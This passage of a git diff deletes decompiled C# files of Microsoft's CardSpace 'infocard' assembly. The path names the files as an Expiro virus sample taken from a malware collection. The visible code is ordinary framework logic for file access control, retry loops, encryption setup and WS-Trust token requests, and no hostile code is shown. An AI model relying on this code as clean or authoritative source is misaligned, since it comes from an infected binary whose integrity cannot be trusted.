FileSystemAccessRule(SystemIdentity.LsaIdentityReference, FileSystemRights.FullControl, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow)); - if ((object) securityDescriptor is DirectorySecurity) - securityDescriptor.AddAccessRule(new FileSystemAccessRule((IdentityReference) FileDataSource.AdministratorSid, FileSystemRights.ReadData | FileSystemRights.DeleteSubdirectoriesAndFiles, AccessControlType.Allow)); - securityDescriptor.SetAccessRuleProtection(true, false); - return securityDescriptor; - } - - private void SetupProvider() => this.m_provider = SafeRsaProviderHandle.Construct(); - - private byte[] AllocateIvBuffer() - { - InfoCardTrace.Assert(16 == this.m_encAlg.IV.Length, "Must be equal"); - InfoCardTrace.Assert(16 == this.m_encAlg.IV.Length, "Must be equal"); - return new byte[this.m_encAlg.IV.Length]; - } - - private static void ResilientDelete(FileInfo toDelete) - { - int millisecondsTimeout = 10; - bool flag = true; - Exception inner = (Exception) null; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - toDelete.Delete(); - flag = true; - } - catch (IOException ex) - { - inner = (Exception) ex; - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFileInUse"), inner)); - } - - private static void ResilientMove(FileInfo fileFrom, FileInfo fileTo) - { - int millisecondsTimeout = 10; - bool flag = true; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - fileFrom.MoveTo(fileTo.FullName); - flag = true; - } - catch (IOException ex) - { - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (flag) - return; - InfoCardTrace.FailFast(SR.GetString("StoreFileInUse")); - } - - private static FileStream ResilientOpen( - FileInfo toOpen, - FileMode mode, - FileAccess access) - { - int millisecondsTimeout = 10; - bool flag = true; - Exception inner = (Exception) null; - FileStream fileStream = (FileStream) null; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - fileStream = toOpen.Open(mode, access, FileShare.None); - flag = true; - } - catch (IOException ex) - { - inner = (Exception) ex; - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFileInUse"), inner)); - return fileStream; - } - - internal static SymmetricAlgorithm CreateEncryptionAlg() - { - RijndaelManaged encryptionAlg = new RijndaelManaged(); - encryptionAlg.Mode = CipherMode.CBC; - encryptionAlg.KeySize = 256; - encryptionAlg.BlockSize = 128; - return (SymmetricAlgorithm) encryptionAlg; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FreeIndexList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FreeIndexList.cs deleted file mode 100644 index aa170323..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FreeIndexList.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FreeIndexList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class FreeIndexList - { - private Dictionary m_list; - - public FreeIndexList(int size) => this.m_list = size > 0 ? new Dictionary(size) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (size), (object) size, SR.GetString("StoreFreeListSizeOutOfRange"))); - - public bool Contains(int value) => value > 0 ? this.m_list.ContainsKey(value) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (value), (object) value, SR.GetString("StoreFreeListValueOutOfRange"))); - - public void Put(int value) - { - if (value <= 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (value), (object) value, SR.GetString("StoreFreeListValueOutOfRange"))); - this.m_list.Add(value, value); - } - - public int GetNext() - { - int key = -1; - if (this.m_list.Count > 0) - { - using (IEnumerator enumerator = (IEnumerator) this.m_list.Keys.GetEnumerator()) - { - enumerator.MoveNext(); - key = enumerator.Current; - } - this.m_list.Remove(key); - } - return key; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs deleted file mode 100644 index 6ac074b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GenerateDerivedKeyRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GenerateDerivedKeyRequest : ClientRequest - { - private int m_sessionId; - private byte[] m_label; - private byte[] m_nonce; - private int m_derivedKeyLength; - private int m_offset; - private string m_derivationAlgUri; - private byte[] m_key; - - public GenerateDerivedKeyRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_key = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_sessionId = reader.ReadInt32(); - int count1 = reader.ReadInt32(); - this.m_label = reader.ReadBytes(count1); - int count2 = reader.ReadInt32(); - this.m_nonce = reader.ReadBytes(count2); - this.m_derivedKeyLength = reader.ReadInt32(); - this.m_offset = reader.ReadInt32(); - this.m_derivationAlgUri = Utility.DeserializeString(reader); - } - - protected override void OnProcess() => this.m_key = ((SymmetricCryptoSession) CryptoSession.Find(this.m_sessionId, this.CallerPid, this.RequestorIdentity.User)).GenerateDerivedKey(this.m_derivationAlgUri, this.m_label, this.m_nonce, this.m_derivedKeyLength, this.m_offset); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_key.Length); - binaryWriter.Write(this.m_key); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs deleted file mode 100644 index 2b07f612..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs +++ /dev/null @@ -1,90 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenEndpoint -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenEndpoint - { - private Uri m_address; - private Uri m_policyAddress; - private X509Certificate2Collection m_supportingCertsCollection = new X509Certificate2Collection(); - private X509Certificate2 m_leafCert; - - public Uri Address => this.m_address; - - public Uri PolicyUrl => this.m_policyAddress; - - public X509Certificate2Collection SupportingCertificates => this.m_supportingCertsCollection; - - public X509Certificate2 LeafCertificate => this.m_leafCert; - - public EndpointAddress CreateEndpointAddress() - { - if (!((Uri) null != this.m_address)) - return (EndpointAddress) null; - return this.LeafCertificate != null ? new EndpointAddress(this.m_address, EndpointIdentity.CreateX509CertificateIdentity(this.LeafCertificate, this.SupportingCertificates), new AddressHeader[0]) : new EndpointAddress(this.m_address, new AddressHeader[0]); - } - - public XmlElement CreateEndpointAddressXml() - { - if ((Uri) null != this.m_address) - { - EndpointAddress endpointAddress = this.LeafCertificate == null ? new EndpointAddress(this.m_address, new AddressHeader[0]) : new EndpointAddress(this.m_address, EndpointIdentity.CreateX509CertificateIdentity(this.LeafCertificate, this.SupportingCertificates), new AddressHeader[0]); - if ((EndpointAddress) null != endpointAddress) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - using (XmlWriter writer = (XmlWriter) new XmlTextWriter((Stream) memoryStream, Encoding.UTF8)) - { - endpointAddress.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.Flush(); - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - using (XmlReader readerWithQuotas = (XmlReader) Utility.CreateReaderWithQuotas((Stream) memoryStream)) - return (XmlElement) new XmlDocument().ReadNode(readerWithQuotas); - } - } - } - } - return (XmlElement) null; - } - - public void Load(BinaryReader reader, int paramVersion) - { - string uriString1 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString1)) - this.m_address = new Uri(uriString1); - string uriString2 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString2)) - this.m_policyAddress = new Uri(uriString2); - int num = 0; - if (2 == paramVersion) - num = reader.ReadInt32(); - else if (1 == paramVersion) - num = 1; - for (int index = 0; index < num; ++index) - { - byte[] numArray = reader.ReadBytes(reader.ReadInt32()); - if (!Utility.ArrayIsNullOrEmpty((Array) numArray)) - { - X509Certificate2 certificate = new X509Certificate2(numArray); - if (index == 0) - this.m_leafCert = certificate; - else - this.m_supportingCertsCollection.Add(certificate); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenParameters.cs deleted file mode 100644 index 32e8c836..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenParameters.cs +++ /dev/null @@ -1,110 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenParameters - { - private GetBrowserTokenEndpoint m_recipient; - private GetBrowserTokenEndpoint m_issuer; - private Uri m_tokenType; - private List m_requiredClaims; - private List m_optionalClaims; - private int m_flags; - private uint m_privacyVersion; - private Uri m_privacyUrl; - - public GetBrowserTokenParameters() - { - this.m_recipient = new GetBrowserTokenEndpoint(); - this.m_issuer = new GetBrowserTokenEndpoint(); - this.m_requiredClaims = new List(); - this.m_optionalClaims = new List(); - } - - public GetBrowserTokenEndpoint Recipient => this.m_recipient; - - public GetBrowserTokenEndpoint Issuer => this.m_issuer; - - public IList RequiredClaims => (IList) this.m_requiredClaims.AsReadOnly(); - - public IList OptionalClaims => (IList) this.m_optionalClaims.AsReadOnly(); - - public Uri PrivacyUrl => this.m_privacyUrl; - - public uint PrivacyVersion => this.m_privacyVersion; - - public void Load(BinaryReader reader, int paramVersion) - { - this.m_flags = paramVersion; - this.m_recipient.Load(reader, paramVersion); - this.m_issuer.Load(reader, paramVersion); - string uriString1 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString1)) - this.m_tokenType = new Uri(uriString1); - int num1 = reader.ReadInt32(); - for (int index = 0; index < num1; ++index) - this.m_requiredClaims.Add(Utility.DeserializeString(reader)); - int num2 = reader.ReadInt32(); - for (int index = 0; index < num2; ++index) - this.m_optionalClaims.Add(Utility.DeserializeString(reader)); - this.m_privacyVersion = reader.ReadUInt32(); - string uriString2 = Utility.DeserializeString(reader); - if (!string.IsNullOrEmpty(uriString2)) - this.m_privacyUrl = new Uri(uriString2); - else - this.m_privacyUrl = (Uri) null; - } - - public CardSpacePolicyElement CreatePolicyElement( - ProtocolProfile protocolProfile) - { - XmlDocument document = new XmlDocument(); - XmlElement element = document.CreateElement(protocolProfile.WSTrust.DefaultPrefix, protocolProfile.WSTrust.ClaimsElement, protocolProfile.WSTrust.Namespace); - foreach (string requiredClaim in (IEnumerable) this.RequiredClaims) - element.AppendChild((XmlNode) GetBrowserTokenParameters.CreateClaimElement(document, requiredClaim, false)); - foreach (string optionalClaim in (IEnumerable) this.OptionalClaims) - element.AppendChild((XmlNode) GetBrowserTokenParameters.CreateClaimElement(document, optionalClaim, true)); - IssuedSecurityTokenParameters securityTokenParameters = new IssuedSecurityTokenParameters(); - if ((Uri) null != this.m_tokenType) - securityTokenParameters.TokenType = this.m_tokenType.ToString(); - securityTokenParameters.AdditionalRequestParameters.Add(element); - Collection requestParameters = securityTokenParameters.CreateRequestParameters(protocolProfile.MsgSecurityVersion, (SecurityTokenSerializer) new WSSecurityTokenSerializer(protocolProfile.MsgSecurityVersion.SecurityVersion, true, (SamlSerializer) null, (SecurityStateEncoder) null, (IEnumerable) null)); - foreach (XmlElement xmlElement in requestParameters) - { - if (StringComparer.Ordinal.Equals(xmlElement.LocalName, protocolProfile.WSTrust.KeyType) && StringComparer.Ordinal.Equals(xmlElement.NamespaceURI, protocolProfile.WSTrust.Namespace)) - { - xmlElement.RemoveAll(); - xmlElement.AppendChild((XmlNode) xmlElement.OwnerDocument.CreateTextNode(protocolProfile.WSTrust.KeyTypeBearer.OriginalString)); - break; - } - } - return new CardSpacePolicyElement(this.m_recipient != null ? this.m_recipient.CreateEndpointAddressXml() : (XmlElement) null, this.m_issuer != null ? this.m_issuer.CreateEndpointAddressXml() : (XmlElement) null, requestParameters, this.m_privacyUrl, Convert.ToInt32(this.m_privacyVersion), false); - } - - private static XmlElement CreateClaimElement( - XmlDocument document, - string claimUri, - bool optional) - { - XmlElement element = document.CreateElement("wsid", "ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - element.SetAttribute("Uri", claimUri); - if (optional) - element.SetAttribute("Optional", "true"); - return element; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenRequest.cs deleted file mode 100644 index f8d8740b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenRequest.cs +++ /dev/null @@ -1,609 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetBrowserTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Diagnostics; -using System.Globalization; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; -using System.Security.Principal; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class GetBrowserTokenRequest : GetTokenRequest - { - public const int POLICY_V1 = 1; - public const int POLICY_V2 = 2; - private GetBrowserTokenParameters m_params; - private ServiceEndpoint m_svcEpr; - private byte[] m_rawToken; - private SelfIssuedAuthProofToken m_proofToken; - private ProtocolProfile m_protocolProfile; - - public GetBrowserTokenRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs) - { - this.m_protocolProfile = new ProtocolProfile(); - } - - private static bool IsReferralToManagedIssuer(Binding issuerBinding) - { - bool managedIssuer = false; - if (issuerBinding != null && issuerBinding.CreateBindingElements().Find() != null) - managedIssuer = true; - return managedIssuer; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - try - { - this.m_params = new GetBrowserTokenParameters(); - int paramVersion = reader.ReadInt32(); - if (1 != paramVersion && 2 != paramVersion) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidFlagsSpecified"))); - this.m_params.Load(reader, paramVersion); - if ((Uri) null == this.m_params.Issuer.PolicyUrl) - { - this.CreateInfoCardPolicyFromBrowserParams(); - } - else - { - if (Utility.CompareUri(XmlNames.WSIdentity.SelfIssuerUriValue, this.m_params.Issuer.Address) || Utility.CompareUri(XmlNames.WSIdentity.AnonymousIssuerUriValue, this.m_params.Issuer.Address)) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("SelfOrAnonIssuerNotAllowedWhenMexSpecified", (object) this.m_params.Issuer.Address))); - if ((Uri) null == this.m_params.Issuer.Address) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("NoIssuerSpecifiedWhenMexIsSpecified"))); - ServiceEndpointCollection endpointCollection; - try - { - endpointCollection = this.GetServiceEndpointCollection(this.m_params.Issuer.Address, this.m_params.Issuer.PolicyUrl); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - endpointCollection = (ServiceEndpointCollection) null; - } - if (endpointCollection != null && endpointCollection.Find(this.m_params.Issuer.Address) != null) - { - ServiceEndpoint serviceEndpoint = endpointCollection.Find(this.m_params.Issuer.Address); - if (!GetBrowserTokenRequest.IsReferralToManagedIssuer(serviceEndpoint.Binding) && this.DoesEndpointSatisfySecurityRequirements(serviceEndpoint) && this.DoesEndpointSatisfyIssuedTokenRequirements(serviceEndpoint)) - { - if (Uri.UriSchemeHttps != this.m_params.Recipient.Address.Scheme) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("RPStsWithNoSSLFailure"))); - this.m_svcEpr = serviceEndpoint; - SecurityBindingElement securityBindingElement = serviceEndpoint.Binding.CreateBindingElements().Find(); - InfoCardTrace.Assert(null != securityBindingElement, "No SecurityBindingElement was found in the BindingElementCollection"); - if (TrustVersion.WSTrust13 == securityBindingElement.MessageSecurityVersion.TrustVersion) - this.m_protocolProfile.WSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - } - } - this.CreateInfoCardPolicyFromBrowserParams(); - } - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("ServiceInvalidArguments"), ex)); - throw; - } - } - - private void CreateInfoCardPolicyFromBrowserParams() - { - CardSpacePolicyElement policyElement = this.m_params.CreatePolicyElement(this.m_protocolProfile); - InfoCardPolicy browserTokenRequest = PolicyFactory.CreatePolicyForGetBrowserTokenRequest(policyElement, policyElement.PolicyNoticeLink, (uint) policyElement.PolicyNoticeVersion, RecipientIdentity.CreateIdentity(this.m_params.Recipient.CreateEndpointAddress(), true), PolicyUsageContext.Browser); - browserTokenRequest.Validate(); - this.Policy = browserTokenRequest; - } - - private bool DoesEndpointSatisfyIssuedTokenRequirements(ServiceEndpoint serviceEndpoint) - { - if (serviceEndpoint != null) - { - bool disallowedStpDetected = false; - if (GetBrowserTokenRequest.TryGetNextStsIssuedTokenParameters(serviceEndpoint.Binding.CreateBindingElements(), ref disallowedStpDetected) != null) - return true; - } - return false; - } - - private bool DoesEndpointSatisfySecurityRequirements(ServiceEndpoint serviceEndpoint) - { - if (serviceEndpoint != null) - { - ISecurityCapabilities property = serviceEndpoint.Binding.GetProperty(new BindingParameterCollection()); - if (property != null && property.SupportedRequestProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportedResponseProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportsClientAuthentication && property.SupportsServerAuthentication) - return true; - } - return false; - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - try - { - try - { - binaryWriter.Write(this.m_rawToken.Length); - binaryWriter.Write(this.m_rawToken, 0, this.m_rawToken.Length); - } - finally - { - Array.Clear((Array) this.m_rawToken, 0, this.m_rawToken.Length); - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ServiceFailedToWriteToken"), ex)); - throw; - } - } - - protected override void OnProcess() - { - try - { - if (this.m_svcEpr == null) - { - base.OnProcess(); - if (this.ProcessingException != null) - throw InfoCardTrace.ThrowHelperError(this.ProcessingException); - using (MemoryStream output = new MemoryStream()) - { - using (XmlWriter w = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false, - Encoding = Encoding.UTF8, - OmitXmlDeclaration = true - })) - this.Token.ProtectedToken.WriteTo(w); - this.m_rawToken = new byte[output.Length - 3L]; - Array.Copy((Array) output.GetBuffer(), 3, (Array) this.m_rawToken, 0, Convert.ToInt32(output.Length - 3L)); - } - } - else - { - GetBrowserTokenRequest.CreateIssuedTokenClientCredentials clientCredentials = this.CreateClientCredentials(this.m_svcEpr); - clientCredentials.Windows.AllowNtlm = false; - Binding binding = GetBrowserTokenRequest.FedChainUpdateProxyAndRestrictTransportBindingWrapper(this.m_svcEpr.Binding, this.UserProxy); - using (ChannelFactory channelFactory = new ChannelFactory(binding, this.m_svcEpr.Address)) - { - channelFactory.Endpoint.Binding.OpenTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.SendTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.ReceiveTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Binding.CloseTimeout = new TimeSpan(5, 0, 0); - channelFactory.Endpoint.Behaviors.Remove(); - channelFactory.Endpoint.Behaviors.Add((IEndpointBehavior) clientCredentials); - InfoCardTrace.Assert(!channelFactory.Credentials.Windows.AllowNtlm, "Should be false"); - GetBrowserTokenRequest.ISts sts = channelFactory.CreateChannel(); - if (this.Policy == null) - this.CreateInfoCardPolicyFromBrowserParams(); - Message rstMsg = Message.CreateMessage(this.m_svcEpr.Binding.MessageVersion, this.m_protocolProfile.WSTrust.RequestSecurityTokenAction, (BodyWriter) new RequestSecurityTokenForGetBrowserToken(new RequestSecurityTokenParameters(this.m_svcEpr.Binding.MessageVersion.Addressing, this.m_params, this.m_protocolProfile, this.Policy, true))); - Message rstrMsg = (Message) null; - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.m_protocolProfile.WSTrust.Version) - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => rstrMsg = sts.ProcessRequestSecurityTokenFeb2005(rstMsg)), (ClientRequest.AsyncEntryCallback) (() => channelFactory.Abort())); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.m_protocolProfile.WSTrust.Version) - this.ExecuteCancelable((ClientRequest.AsyncEntryCallback) (() => rstrMsg = sts.ProcessRequestSecurityTokenWSTrust13(rstMsg)), (ClientRequest.AsyncEntryCallback) (() => channelFactory.Abort())); - else - InfoCardTrace.Assert(false, "Unsupported version of WS-Trust detected"); - InfoCardTrace.Assert(null != rstrMsg, "Should have thrown before this if message is null"); - WSIdentityFaultException.ThrowIfFaultMessage(rstrMsg, CultureInfo.GetCultureInfo(this.UserLanguage)); - using (XmlReader readerAtBodyContents = (XmlReader) rstrMsg.GetReaderAtBodyContents()) - { - using (MemoryStream output = new MemoryStream()) - { - using (XmlWriter writer = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false, - Encoding = Encoding.UTF8, - OmitXmlDeclaration = true - })) - this.WriteRequestedTokenFrom(readerAtBodyContents, writer); - this.m_rawToken = new byte[output.Length - 3L]; - Array.Copy((Array) output.GetBuffer(), 3, (Array) this.m_rawToken, 0, Convert.ToInt32(output.Length - 3L)); - } - } - channelFactory.Close(); - } - } - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ServiceSTSCommunicationFailed"), ex)); - throw; - } - } - - public static void WriteSourceUrlAppliesTo( - XmlWriter writer, - GetBrowserTokenParameters browserParams, - ProtocolProfile profile) - { - EndpointAddress endpointAddress = browserParams.Recipient.CreateEndpointAddress(); - writer.WriteStartElement(profile.WSPolicy.DefaultPrefix, profile.WSPolicy.AppliesTo, profile.WSPolicy.Namespace); - endpointAddress.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.WriteEndElement(); - } - - private static void CheckOptionalTokenParameters( - SupportingTokenParameters oestp, - IDictionary oostp, - ref bool disallowedStpDetected) - { - ThrowOnMultipleAssignment issuedTokenParameters = new ThrowOnMultipleAssignment(SR.GetString("TooManyIssuedSecurityTokenParameters")); - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(oestp, issuedTokenParameters, ref disallowedStpDetected); - foreach (SupportingTokenParameters parameters in (IEnumerable) oostp.Values) - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(parameters, issuedTokenParameters, ref disallowedStpDetected); - } - - public static IssuedSecurityTokenParameters TryGetNextStsIssuedTokenParameters( - BindingElementCollection bindingElements, - ref bool disallowedStpDetected) - { - if (bindingElements == null) - return (IssuedSecurityTokenParameters) null; - ThrowOnMultipleAssignment issuedTokenParameters = new ThrowOnMultipleAssignment(SR.GetString("TooManyIssuedSecurityTokenParameters")); - SecurityBindingElement securityBindingElement1 = bindingElements.Find(); - if (securityBindingElement1 == null) - return (IssuedSecurityTokenParameters) null; - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(securityBindingElement1.EndpointSupportingTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - foreach (SupportingTokenParameters parameters in (IEnumerable) securityBindingElement1.OperationSupportingTokenParameters.Values) - GetBrowserTokenRequest.GetIssuedSecurityTokenParametersFromSupportingTokenParameters(parameters, issuedTokenParameters, ref disallowedStpDetected); - switch (securityBindingElement1) - { - case AsymmetricSecurityBindingElement _: - AsymmetricSecurityBindingElement securityBindingElement2 = (AsymmetricSecurityBindingElement) securityBindingElement1; - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(securityBindingElement2.InitiatorTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - GetBrowserTokenRequest.CheckAndAssignIssuedTokenParameters(securityBindingElement2.RecipientTokenParameters, issuedTokenParameters, ref disallowedStpDetected); - break; - case SymmetricSecurityBindingElement _: - SecurityTokenParameters protectionTokenParameters = ((SymmetricSecurityBindingElement) securityBindingElement1).ProtectionTokenParameters; - if (protectionTokenParameters is SecureConversationSecurityTokenParameters) - { - SecureConversationSecurityTokenParameters 